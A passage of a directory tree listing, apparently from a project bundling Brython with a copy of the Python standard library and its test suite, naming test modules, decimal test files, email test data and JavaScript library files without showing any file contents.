│ │ │ │ ├── dqMaxMag.decTest │ │ │ │ │ ├── dqMin.decTest │ │ │ │ │ ├── dqMinMag.decTest │ │ │ │ │ ├── dqMinus.decTest │ │ │ │ │ ├── dqMultiply.decTest │ │ │ │ │ ├── dqNextMinus.decTest │ │ │ │ │ ├── dqNextPlus.decTest │ │ │ │ │ ├── dqNextToward.decTest │ │ │ │ │ ├── dqOr.decTest │ │ │ │ │ ├── dqPlus.decTest │ │ │ │ │ ├── dqQuantize.decTest │ │ │ │ │ ├── dqReduce.decTest │ │ │ │ │ ├── dqRemainder.decTest │ │ │ │ │ ├── dqRemainderNear.decTest │ │ │ │ │ ├── dqRotate.decTest │ │ │ │ │ ├── dqSameQuantum.decTest │ │ │ │ │ ├── dqScaleB.decTest │ │ │ │ │ ├── dqShift.decTest │ │ │ │ │ ├── dqSubtract.decTest │ │ │ │ │ ├── dqToIntegral.decTest │ │ │ │ │ ├── dqXor.decTest │ │ │ │ │ ├── dsBase.decTest │ │ │ │ │ ├── dsEncode.decTest │ │ │ │ │ ├── exp.decTest │ │ │ │ │ ├── extra.decTest │ │ │ │ │ ├── fma.decTest │ │ │ │ │ ├── inexact.decTest │ │ │ │ │ ├── invert.decTest │ │ │ │ │ ├── ln.decTest │ │ │ │ │ ├── log10.decTest │ │ │ │ │ ├── logb.decTest │ │ │ │ │ ├── max.decTest │ │ │ │ │ ├── maxmag.decTest │ │ │ │ │ ├── min.decTest │ │ │ │ │ ├── minmag.decTest │ │ │ │ │ ├── minus.decTest │ │ │ │ │ ├── multiply.decTest │ │ │ │ │ ├── nextminus.decTest │ │ │ │ │ ├── nextplus.decTest │ │ │ │ │ ├── nexttoward.decTest │ │ │ │ │ ├── or.decTest │ │ │ │ │ ├── plus.decTest │ │ │ │ │ ├── power.decTest │ │ │ │ │ ├── powersqrt.decTest │ │ │ │ │ ├── quantize.decTest │ │ │ │ │ ├── randomBound32.decTest │ │ │ │ │ ├── randoms.decTest │ │ │ │ │ ├── reduce.decTest │ │ │ │ │ ├── remainder.decTest │ │ │ │ │ ├── remainderNear.decTest │ │ │ │ │ ├── rescale.decTest │ │ │ │ │ ├── rotate.decTest │ │ │ │ │ ├── rounding.decTest │ │ │ │ │ ├── samequantum.decTest │ │ │ │ │ ├── scaleb.decTest │ │ │ │ │ ├── shift.decTest │ │ │ │ │ ├── squareroot.decTest │ │ │ │ │ ├── subtract.decTest │ │ │ │ │ ├── testall.decTest │ │ │ │ │ ├── tointegral.decTest │ │ │ │ │ ├── tointegralx.decTest │ │ │ │ │ └── xor.decTest │ │ │ │ ├── dh512.pem │ │ │ │ ├── dis_module.py │ │ │ │ ├── doctest_aliases.py │ │ │ │ ├── double_const.py │ │ │ │ ├── empty.vbs │ │ │ │ ├── encoded_modules │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── module_iso_8859_1.py │ │ │ │ │ └── module_koi8_r.py │ │ │ │ ├── floating_points.txt │ │ │ │ ├── fork_wait.py │ │ │ │ ├── formatfloat_testcases.txt │ │ │ │ ├── future_test1.py │ │ │ │ ├── future_test2.py │ │ │ │ ├── gdb_sample.py │ │ │ │ ├── https_svn_python_org_root.pem │ │ │ │ ├── ieee754.txt │ │ │ │ ├── inspect_fodder.py │ │ │ │ ├── inspect_fodder2.py │ │ │ │ ├── keycert.passwd.pem │ │ │ │ ├── keycert.pem │ │ │ │ ├── keycert2.pem │ │ │ │ ├── leakers │ │ │ │ │ ├── README.txt │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── test_ctypes.py │ │ │ │ │ ├── test_gestalt.py │ │ │ │ │ └── test_selftype.py │ │ │ │ ├── list_tests.py │ │ │ │ ├── lock_tests.py │ │ │ │ ├── make_ssl_certs.py │ │ │ │ ├── mapping_tests.py │ │ │ │ ├── math_testcases.txt │ │ │ │ ├── memory_watchdog.py │ │ │ │ ├── mime.types │ │ │ │ ├── mock_socket.py │ │ │ │ ├── module3.py │ │ │ │ ├── module4.txt │ │ │ │ ├── mp_fork_bomb.py │ │ │ │ ├── multibytecodec_support.py │ │ │ │ ├── namespace_pkgs │ │ │ │ │ ├── both_portions │ │ │ │ │ │ └── foo │ │ │ │ │ │ │ ├── one.py │ │ │ │ │ │ │ └── two.py │ │ │ │ │ ├── module_and_namespace_package │ │ │ │ │ │ ├── a_test.py │ │ │ │ │ │ └── a_test │ │ │ │ │ │ │ └── empty │ │ │ │ │ ├── not_a_namespace_pkg │ │ │ │ │ │ └── foo │ │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ │ └── one.py │ │ │ │ │ ├── portion1 │ │ │ │ │ │ └── foo │ │ │ │ │ │ │ └── one.py │ │ │ │ │ ├── portion2 │ │ │ │ │ │ └── foo │ │ │ │ │ │ │ └── two.py │ │ │ │ │ ├── project1 │ │ │ │ │ │ └── parent │ │ │ │ │ │ │ └── child │ │ │ │ │ │ │ └── one.py │ │ │ │ │ ├── project2 │ │ │ │ │ │ └── parent │ │ │ │ │ │ │ └── child │ │ │ │ │ │ │ └── two.py │ │ │ │ │ └── project3 │ │ │ │ │ │ └── parent │ │ │ │ │ │ └── child │ │ │ │ │ │ └── three.py │ │ │ │ ├── nokia.pem │ │ │ │ ├── nullbytecert.pem │ │ │ │ ├── nullcert.pem │ │ │ │ ├── outstanding_bugs.py │ │ │ │ ├── pickletester.py │ │ │ │ ├── profilee.py │ │ │ │ ├── pstats.pck │ │ │ │ ├── pyclbr_input.py │ │ │ │ ├── pydoc_mod.py │ │ │ │ ├── pydocfodder.py │ │ │ │ ├── pystone.py │ │ │ │ ├── randv2_32.pck │ │ │ │ ├── randv2_64.pck │ │ │ │ ├── randv3.pck │ │ │ │ ├── re_tests.py │ │ │ │ ├── regrtest.py │ │ │ │ ├── relimport.py │ │ │ │ ├── reperf.py │ │ │ │ ├── sample_doctest.py │ │ │ │ ├── sample_doctest_no_docstrings.py │ │ │ │ ├── sample_doctest_no_doctests.py │ │ │ │ ├── script_helper.py │ │ │ │ ├── seq_tests.py │ │ │ │ ├── sgml_input.html │ │ │ │ ├── sha256.pem │ │ │ │ ├── sndhdrdata │ │ │ │ │ ├── README │ │ │ │ │ ├── sndhdr.8svx │ │ │ │ │ ├── sndhdr.aifc │ │ │ │ │ ├── sndhdr.aiff │ │ │ │ │ ├── sndhdr.au │ │ │ │ │ ├── sndhdr.hcom │ │ │ │ │ ├── sndhdr.sndt │ │ │ │ │ ├── sndhdr.voc │ │ │ │ │ └── sndhdr.wav │ │ │ │ ├── sortperf.py │ │ │ │ ├── ssl_cert.pem │ │ │ │ ├── ssl_key.passwd.pem │ │ │ │ ├── ssl_key.pem │ │ │ │ ├── ssl_servers.py │ │ │ │ ├── string_tests.py │ │ │ │ ├── subprocessdata │ │ │ │ │ ├── fd_status.py │ │ │ │ │ ├── input_reader.py │ │ │ │ │ ├── qcat.py │ │ │ │ │ ├── qgrep.py │ │ │ │ │ └── sigchild_ignore.py │ │ │ │ ├── support │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── bytecode_helper.py │ │ │ │ │ ├── hashlib_helper.py │ │ │ │ │ ├── import_helper.py │ │ │ │ │ ├── interpreters.py │ │ │ │ │ ├── logging_helper.py │ │ │ │ │ ├── os_helper.py │ │ │ │ │ ├── script_helper.py │ │ │ │ │ ├── socket_helper.py │ │ │ │ │ ├── testresult.py │ │ │ │ │ ├── threading_helper.py │ │ │ │ │ └── warnings_helper.py │ │ │ │ ├── test___all__.py │ │ │ │ ├── test___future__.py │ │ │ │ ├── test__locale.py │ │ │ │ ├── test__osx_support.py │ │ │ │ ├── test_abc.py │ │ │ │ ├── test_abstract_numbers.py │ │ │ │ ├── test_aifc.py │ │ │ │ ├── test_argparse.py │ │ │ │ ├── test_array.py │ │ │ │ ├── test_ast.py │ │ │ │ ├── test_asynchat.py │ │ │ │ ├── test_asyncore.py │ │ │ │ ├── test_atexit.py │ │ │ │ ├── test_audioop.py │ │ │ │ ├── test_augassign.py │ │ │ │ ├── test_base64.py │ │ │ │ ├── test_bigaddrspace.py │ │ │ │ ├── test_bigmem.py │ │ │ │ ├── test_binascii.py │ │ │ │ ├── test_binhex.py │ │ │ │ ├── test_binop.py │ │ │ │ ├── test_bisect.py │ │ │ │ ├── test_bool.py │ │ │ │ ├── test_buffer.py │ │ │ │ ├── test_bufio.py │ │ │ │ ├── test_builtin.py │ │ │ │ ├── test_bytes.py │ │ │ │ ├── test_bz2.py │ │ │ │ ├── test_calendar.py │ │ │ │ ├── test_call.py │ │ │ │ ├── test_capi.py │ │ │ │ ├── test_cgi.py │ │ │ │ ├── test_cgitb.py │ │ │ │ ├── test_charmapcodec.py │ │ │ │ ├── test_class.py │ │ │ │ ├── test_cmath.py │ │ │ │ ├── test_cmd.py │ │ │ │ ├── test_cmd_line.py │ │ │ │ ├── test_cmd_line_script.py │ │ │ │ ├── test_code.py │ │ │ │ ├── test_code_module.py │ │ │ │ ├── test_codeccallbacks.py │ │ │ │ ├── test_codecencodings_cn.py │ │ │ │ ├── test_codecencodings_hk.py │ │ │ │ ├── test_codecencodings_iso2022.py │ │ │ │ ├── test_codecencodings_jp.py │ │ │ │ ├── test_codecencodings_kr.py │ │ │ │ ├── test_codecencodings_tw.py │ │ │ │ ├── test_codecmaps_cn.py │ │ │ │ ├── test_codecmaps_hk.py │ │ │ │ ├── test_codecmaps_jp.py │ │ │ │ ├── test_codecmaps_kr.py │ │ │ │ ├── test_codecmaps_tw.py │ │ │ │ ├── test_codecs.py │ │ │ │ ├── test_codeop.py │ │ │ │ ├── test_coding.py │ │ │ │ ├── test_collections.py │ │ │ │ ├── test_colorsys.py │ │ │ │ ├── test_compare.py │ │ │ │ ├── test_compile.py │ │ │ │ ├── test_compileall.py │ │ │ │ ├── test_complex.py │ │ │ │ ├── test_concurrent_futures.py │ │ │ │ ├── test_configparser.py │ │ │ │ ├── test_contains.py │ │ │ │ ├── test_contextlib.py │ │ │ │ ├── test_copy.py │ │ │ │ ├── test_copyreg.py │ │ │ │ ├── test_cprofile.py │ │ │ │ ├── test_crashers.py │ │ │ │ ├── test_crypt.py │ │ │ │ ├── test_csv.py │ │ │ │ ├── test_ctypes.py │ │ │ │ ├── test_curses.py │ │ │ │ ├── test_datetime.py │ │ │ │ ├── test_dbm.py │ │ │ │ ├── test_dbm_dumb.py │ │ │ │ ├── test_dbm_gnu.py │ │ │ │ ├── test_dbm_ndbm.py │ │ │ │ ├── test_decimal.py │ │ │ │ ├── test_decorators.py │ │ │ │ ├── test_defaultdict.py │ │ │ │ ├── test_deque.py │ │ │ │ ├── test_descr.py │ │ │ │ ├── test_descrtut.py │ │ │ │ ├── test_devpoll.py │ │ │ │ ├── test_dict.py │ │ │ │ ├── test_dictcomps.py │ │ │ │ ├── test_dictviews.py │ │ │ │ ├── test_difflib.py │ │ │ │ ├── test_difflib_expect.html │ │ │ │ ├── test_dis.py │ │ │ │ ├── test_distutils.py │ │ │ │ ├── test_doctest.py │ │ │ │ ├── test_doctest2.py │ │ │ │ ├── test_docxmlrpc.py │ │ │ │ ├── test_dummy_thread.py │ │ │ │ ├── test_dummy_threading.py │ │ │ │ ├── test_dynamic.py │ │ │ │ ├── test_email │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── __main__.py │ │ │ │ │ ├── data │ │ │ │ │ │ ├── PyBanner048.gif │ │ │ │ │ │ ├── audiotest.au │ │ │ │ │ │ ├── msg_01.txt │ │ │ │ │ │ ├── msg_02.txt │ │ │ │ │ │ ├── msg_03.txt │ │ │ │ │ │ ├── msg_04.txt │ │ │ │ │ │ ├── msg_05.txt │ │ │ │ │ │ ├── msg_06.txt │ │ │ │ │ │ ├── msg_07.txt │ │ │ │ │ │ ├── msg_08.txt │ │ │ │ │ │ ├── msg_09.txt │ │ │ │ │ │ ├── msg_10.txt │ │ │ │ │ │ ├── msg_11.txt │ │ │ │ │ │ ├── msg_12.txt │ │ │ │ │ │ ├── msg_12a.txt │ │ │ │ │ │ ├── msg_13.txt │ │ │ │ │ │ ├── msg_14.txt │ │ │ │ │ │ ├── msg_15.txt │ │ │ │ │ │ ├── msg_16.txt │ │ │ │ │ │ ├── msg_17.txt │ │ │ │ │ │ ├── msg_18.txt │ │ │ │ │ │ ├── msg_19.txt │ │ │ │ │ │ ├── msg_20.txt │ │ │ │ │ │ ├── msg_21.txt │ │ │ │ │ │ ├── msg_22.txt │ │ │ │ │ │ ├── msg_23.txt │ │ │ │ │ │ ├── msg_24.txt │ │ │ │ │ │ ├── msg_25.txt │ │ │ │ │ │ ├── msg_26.txt │ │ │ │ │ │ ├── msg_27.txt │ │ │ │ │ │ ├── msg_28.txt │ │ │ │ │ │ ├── msg_29.txt │ │ │ │ │ │ ├── msg_30.txt │ │ │ │ │ │ ├── msg_31.txt │ │ │ │ │ │ ├── msg_32.txt │ │ │ │ │ │ ├── msg_33.txt │ │ │ │ │ │ ├── msg_34.txt │ │ │ │ │ │ ├── msg_35.txt │ │ │ │ │ │ ├── msg_36.txt │ │ │ │ │ │ ├── msg_37.txt │ │ │ │ │ │ ├── msg_38.txt │ │ │ │ │ │ ├── msg_39.txt │ │ │ │ │ │ ├── msg_40.txt │ │ │ │ │ │ ├── msg_41.txt │ │ │ │ │ │ ├── msg_42.txt │ │ │ │ │ │ ├── msg_43.txt │ │ │ │ │ │ ├── msg_44.txt │ │ │ │ │ │ ├── msg_45.txt │ │ │ │ │ │ └── msg_46.txt │ │ │ │ │ ├── test__encoded_words.py │ │ │ │ │ ├── test__header_value_parser.py │ │ │ │ │ ├── test_asian_codecs.py │ │ │ │ │ ├── test_defect_handling.py │ │ │ │ │ ├── test_email.py │ │ │ │ │ ├── test_generator.py │ │ │ │ │ ├── test_headerregistry.py │ │ │ │ │ ├── test_inversion.py │ │ │ │ │ ├── test_message.py │ │ │ │ │ ├── test_parser.py │ │ │ │ │ ├── test_pickleable.py │ │ │ │ │ ├── test_policy.py │ │ │ │ │ ├── test_utils.py │ │ │ │ │ └── torture_test.py │ │ │ │ ├── test_enumerate.py │ │ │ │ ├── test_eof.py │ │ │ │ ├── test_epoll.py │ │ │ │ ├── test_errno.py │ │ │ │ ├── test_exception_variations.py │ │ │ │ ├── test_exceptions.py │ │ │ │ ├── test_extcall.py │ │ │ │ ├── test_faulthandler.py │ │ │ │ ├── test_fcntl.py │ │ │ │ ├── test_file.py │ │ │ │ ├── test_file_eintr.py │ │ │ │ ├── test_filecmp.py │ │ │ │ ├── test_fileinput.py │ │ │ │ ├── test_fileio.py │ │ │ │ ├── test_float.py │ │ │ │ ├── test_flufl.py │ │ │ │ ├── test_fnmatch.py │ │ │ │ ├── test_fork1.py │ │ │ │ ├── test_format.py │ │ │ │ ├── test_fractions.py │ │ │ │ ├── test_frozen.py │ │ │ │ ├── test_ftplib.py │ │ │ │ ├── test_funcattrs.py │ │ │ │ ├── test_functools.py │ │ │ │ ├── test_future.py │ │ │ │ ├── test_future3.py │ │ │ │ ├── test_future4.py │ │ │ │ ├── test_future5.py │ │ │ │ ├── test_gc.py │ │ │ │ ├── test_gdb.py │ │ │ │ ├── test_generators.py │ │ │ │ ├── test_genericpath.py │ │ │ │ ├── test_genexps.py │ │ │ │ ├── test_getargs2.py │ │ │ │ ├── test_getopt.py │ │ │ │ ├── test_gettext.py │ │ │ │ ├── test_glob.py │ │ │ │ ├── test_global.py │ │ │ │ ├── test_grammar.py │ │ │ │ ├── test_grp.py │ │ │ │ ├── test_gzip.py │ │ │ │ ├── test_hash.py │ │ │ │ ├── test_hashlib.py │ │ │ │ ├── test_heapq.py │ │ │ │ ├── test_hmac.py │ │ │ │ ├── test_html.py │ │ │ │ ├── test_htmlparser.py │ │ │ │ ├── test_http_cookiejar.py │ │ │ │ ├── test_http_cookies.py │ │ │ │ ├── test_httplib.py │ │ │ │ ├── test_httpservers.py │ │ │ │ ├── test_idle.py │ │ │ │ ├── test_imaplib.py │ │ │ │ ├── test_imp.py │ │ │ │ ├── test_import.py │ │ │ │ ├── test_importhooks.py │ │ │ │ ├── test_importlib │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── __main__.py │ │ │ │ │ ├── abc.py │ │ │ │ │ ├── builtin │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ ├── test_finder.py │ │ │ │ │ │ ├── test_loader.py │ │ │ │ │ │ └── util.py │ │ │ │ │ ├── extension │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ ├── test_case_sensitivity.py │ │ │ │ │ │ ├── test_finder.py │ │ │ │ │ │ ├── test_loader.py │ │ │ │ │ │ ├── test_path_hook.py │ │ │ │ │ │ └── util.py │ │ │ │ │ ├── frozen │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ ├── test_finder.py │ │ │ │ │ │ └── test_loader.py │ │ │ │ │ ├── import_ │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ ├── test___package__.py │ │ │ │ │ │ ├── test_api.py │ │ │ │ │ │ ├── test_caching.py │ │ │ │ │ │ ├── test_fromlist.py │ │ │ │ │ │ ├── test_meta_path.py │ │ │ │ │ │ ├── test_packages.py │ │ │ │ │ │ ├── test_path.py │ │ │ │ │ │ ├── test_relative_imports.py │ │ │ │ │ │ └── util.py │ │ │ │ │ ├── regrtest.py │ │ │ │ │ ├── source │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ ├── test_abc_loader.py │ │ │ │ │ │ ├── test_case_sensitivity.py │ │ │ │ │ │ ├── test_file_loader.py │ │ │ │ │ │ ├── test_finder.py │ │ │ │ │ │ ├── test_path_hook.py │ │ │ │ │ │ ├── test_source_encoding.py │ │ │ │ │ │ └── util.py │ │ │ │ │ ├── test_abc.py │ │ │ │ │ ├── test_api.py │ │ │ │ │ ├── test_locks.py │ │ │ │ │ ├── test_util.py │ │ │ │ │ └── util.py │ │ │ │ ├── test_index.py │ │ │ │ ├── test_inspect.py │ │ │ │ ├── test_int.py │ │ │ │ ├── test_int_literal.py │ │ │ │ ├── test_io.py │ │ │ │ ├── test_ioctl.py │ │ │ │ ├── test_ipaddress.py │ │ │ │ ├── test_isinstance.py │ │ │ │ ├── test_iter.py │ │ │ │ ├── test_iterlen.py │ │ │ │ ├── test_itertools.py │ │ │ │ ├── test_json │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── __main__.py │ │ │ │ │ ├── test_decode.py │ │ │ │ │ ├── test_default.py │ │ │ │ │ ├── test_dump.py │ │ │ │ │ ├── test_encode_basestring_ascii.py │ │ │ │ │ ├── test_fail.py │ │ │ │ │ ├── test_float.py │ │ │ │ │ ├── test_indent.py │ │ │ │ │ ├── test_pass1.py │ │ │ │ │ ├── test_pass2.py │ │ │ │ │ ├── test_pass3.py │ │ │ │ │ ├── test_recursion.py │ │ │ │ │ ├── test_scanstring.py │ │ │ │ │ ├── test_separators.py │ │ │ │ │ ├── test_speedups.py │ │ │ │ │ ├── test_tool.py │ │ │ │ │ └── test_unicode.py │ │ │ │ ├── test_keywordonlyarg.py │ │ │ │ ├── test_kqueue.py │ │ │ │ ├── test_largefile.py │ │ │ │ ├── test_lib2to3.py │ │ │ │ ├── test_linecache.py │ │ │ │ ├── test_list.py │ │ │ │ ├── test_listcomps.py │ │ │ │ ├── test_locale.py │ │ │ │ ├── test_logging.py │ │ │ │ ├── test_long.py │ │ │ │ ├── test_longexp.py │ │ │ │ ├── test_lzma.py │ │ │ │ ├── test_macpath.py │ │ │ │ ├── test_macurl2path.py │ │ │ │ ├── test_mailbox.py │ │ │ │ ├── test_mailcap.py │ │ │ │ ├── test_marshal.py │ │ │ │ ├── test_math.py │ │ │ │ ├── test_memoryio.py │ │ │ │ ├── test_memoryview.py │ │ │ │ ├── test_metaclass.py │ │ │ │ ├── test_mimetypes.py │ │ │ │ ├── test_minidom.py │ │ │ │ ├── test_mmap.py │ │ │ │ ├── test_module.py │ │ │ │ ├── test_modulefinder.py │ │ │ │ ├── test_msilib.py │ │ │ │ ├── test_multibytecodec.py │ │ │ │ ├── test_multiprocessing.py │ │ │ │ ├── test_namespace_pkgs.py │ │ │ │ ├── test_netrc.py │ │ │ │ ├── test_nis.py │ │ │ │ ├── test_nntplib.py │ │ │ │ ├── test_normalization.py │ │ │ │ ├── test_ntpath.py │ │ │ │ ├── test_numeric_tower.py │ │ │ │ ├── test_opcodes.py │ │ │ │ ├── test_openpty.py │ │ │ │ ├── test_operator.py │ │ │ │ ├── test_optparse.py │ │ │ │ ├── test_os.py │ │ │ │ ├── test_ossaudiodev.py │ │ │ │ ├── test_osx_env.py │ │ │ │ ├── test_parser.py │ │ │ │ ├── test_pdb.py │ │ │ │ ├── test_peepholer.py │ │ │ │ ├── test_pep247.py │ │ │ │ ├── test_pep263.py │ │ │ │ ├── test_pep277.py │ │ │ │ ├── test_pep292.py │ │ │ │ ├── test_pep3120.py │ │ │ │ ├── test_pep3131.py │ │ │ │ ├── test_pep3151.py │ │ │ │ ├── test_pep352.py │ │ │ │ ├── test_pep380.py │ │ │ │ ├── test_pickle.py │ │ │ │ ├── test_pickletools.py │ │ │ │ ├── test_pipes.py │ │ │ │ ├── test_pkg.py │ │ │ │ ├── test_pkgimport.py │ │ │ │ ├── test_pkgutil.py │ │ │ │ ├── test_platform.py │ │ │ │ ├── test_plistlib.py │ │ │ │ ├── test_poll.py │ │ │ │ ├── test_popen.py │ │ │ │ ├── test_poplib.py │ │ │ │ ├── test_posix.py │ │ │ │ ├── test_posixpath.py │ │ │ │ ├── test_pow.py │ │ │ │ ├── test_pprint.py │ │ │ │ ├── test_print.py │ │ │ │ ├── test_profile.py │ │ │ │ ├── test_property.py │ │ │ │ ├── test_pstats.py │ │ │ │ ├── test_pty.py │ │ │ │ ├── test_pulldom.py │ │ │ │ ├── test_pwd.py │ │ │ │ ├── test_py_compile.py │ │ │ │ ├── test_pyclbr.py │ │ │ │ ├── test_pydoc.py │ │ │ │ ├── test_pyexpat.py │ │ │ │ ├── test_queue.py │ │ │ │ ├── test_quopri.py │ │ │ │ ├── test_raise.py │ │ │ │ ├── test_random.py │ │ │ │ ├── test_range.py │ │ │ │ ├── test_re.py │ │ │ │ ├── test_readline.py │ │ │ │ ├── test_reprlib.py │ │ │ │ ├── test_resource.py │ │ │ │ ├── test_richcmp.py │ │ │ │ ├── test_rlcompleter.py │ │ │ │ ├── test_robotparser.py │ │ │ │ ├── test_runpy.py │ │ │ │ ├── test_sax.py │ │ │ │ ├── test_sched.py │ │ │ │ ├── test_scope.py │ │ │ │ ├── test_select.py │ │ │ │ ├── test_set.py │ │ │ │ ├── test_setcomps.py │ │ │ │ ├── test_shelve.py │ │ │ │ ├── test_shlex.py │ │ │ │ ├── test_shutil.py │ │ │ │ ├── test_signal.py │ │ │ │ ├── test_site.py │ │ │ │ ├── test_slice.py │ │ │ │ ├── test_smtpd.py │ │ │ │ ├── test_smtplib.py │ │ │ │ ├── test_smtpnet.py │ │ │ │ ├── test_sndhdr.py │ │ │ │ ├── test_socket.py │ │ │ │ ├── test_socketserver.py │ │ │ │ ├── test_sort.py │ │ │ │ ├── test_sqlite.py │ │ │ │ ├── test_ssl.py │ │ │ │ ├── test_startfile.py │ │ │ │ ├── test_stat.py │ │ │ │ ├── test_strftime.py │ │ │ │ ├── test_string.py │ │ │ │ ├── test_stringprep.py │ │ │ │ ├── test_strlit.py │ │ │ │ ├── test_strptime.py │ │ │ │ ├── test_strtod.py │ │ │ │ ├── test_struct.py │ │ │ │ ├── test_structmembers.py │ │ │ │ ├── test_structseq.py │ │ │ │ ├── test_subprocess.py │ │ │ │ ├── test_sunau.py │ │ │ │ ├── test_sundry.py │ │ │ │ ├── test_super.py │ │ │ │ ├── test_support.py │ │ │ │ ├── test_symtable.py │ │ │ │ ├── test_syntax.py │ │ │ │ ├── test_sys.py │ │ │ │ ├── test_sys_setprofile.py │ │ │ │ ├── test_sys_settrace.py │ │ │ │ ├── test_sysconfig.py │ │ │ │ ├── test_syslog.py │ │ │ │ ├── test_tarfile.py │ │ │ │ ├── test_tcl.py │ │ │ │ ├── test_telnetlib.py │ │ │ │ ├── test_tempfile.py │ │ │ │ ├── test_textwrap.py │ │ │ │ ├── test_thread.py │ │ │ │ ├── test_threaded_import.py │ │ │ │ ├── test_threadedtempfile.py │ │ │ │ ├── test_threading.py │ │ │ │ ├── test_threading_local.py │ │ │ │ ├── test_threadsignals.py │ │ │ │ ├── test_time.py │ │ │ │ ├── test_timeit.py │ │ │ │ ├── test_timeout.py │ │ │ │ ├── test_tk.py │ │ │ │ ├── test_tokenize.py │ │ │ │ ├── test_tools.py │ │ │ │ ├── test_trace.py │ │ │ │ ├── test_traceback.py │ │ │ │ ├── test_ttk_guionly.py │ │ │ │ ├── test_ttk_textonly.py │ │ │ │ ├── test_tuple.py │ │ │ │ ├── test_typechecks.py │ │ │ │ ├── test_types.py │ │ │ │ ├── test_ucn.py │ │ │ │ ├── test_unary.py │ │ │ │ ├── test_unicode.py │ │ │ │ ├── test_unicode_file.py │ │ │ │ ├── test_unicodedata.py │ │ │ │ ├── test_unittest.py │ │ │ │ ├── test_univnewlines.py │ │ │ │ ├── test_unpack.py │ │ │ │ ├── test_unpack_ex.py │ │ │ │ ├── test_urllib.py │ │ │ │ ├── test_urllib2.py │ │ │ │ ├── test_urllib2_localnet.py │ │ │ │ ├── test_urllib2net.py │ │ │ │ ├── test_urllib_response.py │ │ │ │ ├── test_urllibnet.py │ │ │ │ ├── test_urlparse.py │ │ │ │ ├── test_userdict.py │ │ │ │ ├── test_userlist.py │ │ │ │ ├── test_userstring.py │ │ │ │ ├── test_uu.py │ │ │ │ ├── test_uuid.py │ │ │ │ ├── test_venv.py │ │ │ │ ├── test_wait3.py │ │ │ │ ├── test_wait4.py │ │ │ │ ├── test_warnings.py │ │ │ │ ├── test_wave.py │ │ │ │ ├── test_weakref.py │ │ │ │ ├── test_weakset.py │ │ │ │ ├── test_webbrowser.py │ │ │ │ ├── test_winreg.py │ │ │ │ ├── test_winsound.py │ │ │ │ ├── test_with.py │ │ │ │ ├── test_wsgiref.py │ │ │ │ ├── test_xdrlib.py │ │ │ │ ├── test_xml_dom_minicompat.py │ │ │ │ ├── test_xml_etree.py │ │ │ │ ├── test_xml_etree_c.py │ │ │ │ ├── test_xmlrpc.py │ │ │ │ ├── test_xmlrpc_net.py │ │ │ │ ├── test_zipfile.py │ │ │ │ ├── test_zipfile64.py │ │ │ │ ├── test_zipimport.py │ │ │ │ ├── test_zipimport_support.py │ │ │ │ ├── test_zlib.py │ │ │ │ ├── testcodec.py │ │ │ │ ├── tf_inherit_check.py │ │ │ │ ├── threaded_import_hangers.py │ │ │ │ ├── time_hashlib.py │ │ │ │ ├── tracedmodules │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── testmod.py │ │ │ │ ├── warning_tests.py │ │ │ │ ├── win_console_handler.py │ │ │ │ ├── xmltestdata │ │ │ │ │ ├── simple-ns.xml │ │ │ │ │ ├── simple.xml │ │ │ │ │ ├── test.xml │ │ │ │ │ └── test.xml.out │ │ │ │ └── xmltests.py │ │ │ ├── textwrap.py │ │ │ ├── this.py │ │ │ ├── threading.py │ │ │ ├── time.py │ │ │ ├── timeit.py │ │ │ ├── token.py │ │ │ ├── tokenize.py │ │ │ ├── traceback.py │ │ │ ├── turtle.py │ │ │ ├── types.py │ │ │ ├── typing.py │ │ │ ├── unittest │ │ │ │ ├── __init__.py │ │ │ │ ├── __main__.py │ │ │ │ ├── _log.py │ │ │ │ ├── async_case.py │ │ │ │ ├── case.py │ │ │ │ ├── loader.py │ │ │ │ ├── main.py │ │ │ │ ├── mock.py │ │ │ │ ├── result.py │ │ │ │ ├── runner.py │ │ │ │ ├── signals.py │ │ │ │ ├── suite.py │ │ │ │ ├── test │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── __main__.py │ │ │ │ │ ├── _test_warnings.py │ │ │ │ │ ├── dummy.py │ │ │ │ │ ├── support.py │ │ │ │ │ ├── test_assertions.py │ │ │ │ │ ├── test_async_case.py │ │ │ │ │ ├── test_break.py │ │ │ │ │ ├── test_case.py │ │ │ │ │ ├── test_discovery.py │ │ │ │ │ ├── test_functiontestcase.py │ │ │ │ │ ├── test_loader.py │ │ │ │ │ ├── test_program.py │ │ │ │ │ ├── test_result.py │ │ │ │ │ ├── test_runner.py │ │ │ │ │ ├── test_setups.py │ │ │ │ │ ├── test_skipping.py │ │ │ │ │ ├── test_suite.py │ │ │ │ │ └── testmock │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ ├── support.py │ │ │ │ │ │ ├── testcallable.py │ │ │ │ │ │ ├── testhelpers.py │ │ │ │ │ │ ├── testmagicmethods.py │ │ │ │ │ │ ├── testmock.py │ │ │ │ │ │ ├── testpatch.py │ │ │ │ │ │ ├── testsentinel.py │ │ │ │ │ │ └── testwith.py │ │ │ │ └── util.py │ │ │ ├── urllib │ │ │ │ ├── __init__.py │ │ │ │ ├── error.py │ │ │ │ ├── parse.py │ │ │ │ └── request.py │ │ │ ├── uu.py │ │ │ ├── uuid.py │ │ │ ├── warnings.py │ │ │ ├── weakref.py │ │ │ ├── webbrowser.py │ │ │ ├── zipfile.py │ │ │ ├── zipimport.py │ │ │ └── zlib.py │ │ │ ├── brython.js │ │ │ ├── index.html │ │ │ └── libs │ │ │ ├── _aio.js │ │ │ ├── _ajax.js │ │ │ ├── _ast.js │ │ │ ├── _base64.js │ │ │ ├── _binascii.js │ │ │ ├── _io_classes.js │ │ │ ├── _json.js │ │ │ ├── _jsre.js │ │ │ ├── _locale.js │ │ │ ├── _multiprocessing.js │ │ │ ├── _posixsubprocess.js │ │ │ ├── _profile.js │ │ │ ├── _random.js │ │ │ ├── _sre.js │ │ │ ├── _sre_utils.js │ │ │ ├── _string.js │ │ │ ├── _strptime.js │ │ │ ├── _svg.js 